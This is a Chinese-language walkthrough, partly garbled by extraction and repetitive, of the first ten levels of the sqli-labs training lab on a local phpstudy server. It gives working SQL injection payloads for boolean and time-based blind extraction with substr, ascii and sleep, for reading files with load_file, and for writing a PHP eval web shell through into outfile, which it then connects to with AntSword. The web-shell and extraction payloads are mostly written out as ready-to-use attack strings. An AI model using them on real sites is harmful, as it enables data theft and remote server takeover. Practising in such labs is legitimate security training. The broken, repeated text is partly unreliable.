MYSQL
,数据库库名为 security
phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "
";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。?id=1
,发现报错,说明存在sql注入。('')
,其余与第一二关的步骤相同。phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "
";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。?id=1
,查看报错的sql
语句,我们猜测第四关的闭合方式为(" ")
''
,第二关是直接为数字型注入,第三关的闭合方式为('')
,第四关是("")
。left(database(),1)='s'
left()
函数,left(a,b)
从左侧截取a
的前b
位,正确返回1
,错误则返回0
。
select user() regexp 'r'
regexp()
函数,user()
的结果是root
,regexp
为匹配root
的正则表达式。 (从左到右匹配)
3.
select user() like 'ro%'
like()
函数,与regexp
函数相比,多了百分号,但结果几乎相同。匹配与regexp
相同。
4.
select substr() xxx
subsrt(a,b,c)
函数,从位置b
开始,截取a
字符串c
位长度。
5. ascii()
将某个字符串转为ascii
值
select ascii(substr((select database()),1,1));
select ascii(substr((select database()),1,1))>110;
select ascil('a')
6. chr(数字)
ord('字母')
使用python
中的两个函数可以判断当前的ascii
码值。
phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "
";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。输入?id=1'
时,出现报错,说明存在sql注入
3. 使用order by
查询字段
结合第二步和第三步,我们发返回结果只有一种,没有账户和密码的输出,因此使用前几关的联合查询不太可行。
4. 使用left()
函数来查看数据库的第一位,我们输入id=1' and left((select database()),1)='s'--+
,发现没有报错,说明数据库的第一位为s
输入?id=1' and left((select database()),2)='sw'--+
,没有回显的结果,说明第二个数据库的第二位不是sw
。
5. 为了方便,可以使用burp
的intruder
模块,对?id=1' and left((select database()),1)='a'--+
中的a
添加标记进行暴力破解,可以适当增加线程。
以此方法,对后面的所有字母进行爆破,得到数据库为security
6. 也可以采用另外一种方法使用ascii()
函数来获得数据库的字符。?id=1' and ascii(substr((select database()),1,1))>114--+
,
以此方法,使用折半法依次判断数据库的每一个字符。
phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "
";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。" "
,其余步骤相同。show variables like xxxxx
show variables //查看服务器配置
show variables like 'secure%'; //查看读写协议
在目录D:\PhpStudy2018\PHPTutorial\MySQL
下打开my.ini
文件,在其中添加secure_file_priv="/"
,方便后面学习文件的读和写。2. load file()
读取本地文件
select load_file('双斜杠的绝对路径');
into outfile()
写文件select 'mysql is very good' into outfile 'test.txt'
或者 select 'crow 666' into outfile text.txt;
文件位置在MYSQL/data
下 。select 'crow 666' into outfile '绝对路径\text.txt'
,但是会对反斜杠进行转义,因此需要把每一个\
改为\\
。phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "
";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。?id=1
,发现闭合方式为((' '))
,并提示使用outfile()函数来写。?id=1')) union select 1,2,'crow' into outfile 'D:\\PhpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\text.php'--+
?id=1')) union select 1,2,'<?php @eval($_POST[123])?>' into outfile 'D:\\PhpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\a.php'--+
查看文件中相应文件,发现写入成功。同时使用蚁剑连接,即可连接成功。
4.
IF(condition A,B) //如果条件condition为true,则执行语句A,否则执行语句B
select if(1>2,4,5); //返回的结果是5(如果在mysql命令行中使用,首先要use xxx 数据库才可以使用)
select if(ascii(substr((select database()),1,1))>10,2,3)
phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "
";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。?id=1
,则闭合方式为' '
left()
函数判断数据库的每一位字符或者使用ascii()
函数和substr()
函数的回显来判断?id=1' and sleep(5)--+
?id=1' and if(length(database())=8,1,sleep(10))--+
?id=-1' or if(length(database())=8,1,sleep(10))--+
当数据库长度为8(security)
时会很快加载,而为其他值的时候加载较慢(10s
左右)。
2.
?id=1' and if(ascii(substr((select database()),1,1))>110,1,sleep(10))--+
如果当前数据库的第一个字母的ascii
码>110,则立刻返回结果,否则延迟10
s。
3.
?id=1' and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>110,1,sleep(10))--+
判断数据库中的第五个数据库的第一位ascii码是否大于110,是的话快速返回,否则延迟10s。
4. 其余步骤与前几关均相同,使用时间盲注时间成本过高,可以采用burp脚本或者sql盲注脚本使用。
phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "
";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。?id=1
说明闭合方式为' '
3. 使用与前几关相同的盲注方法或者其他,即可得到我们想要的结果,推荐使用burp进行操作,节省时间。
4. 第九关与第十关唯一的区别在于闭合方式的不同,第十关的闭合方式为" "
,其余方法与第十关相同。
前十关均关于url
的get
请求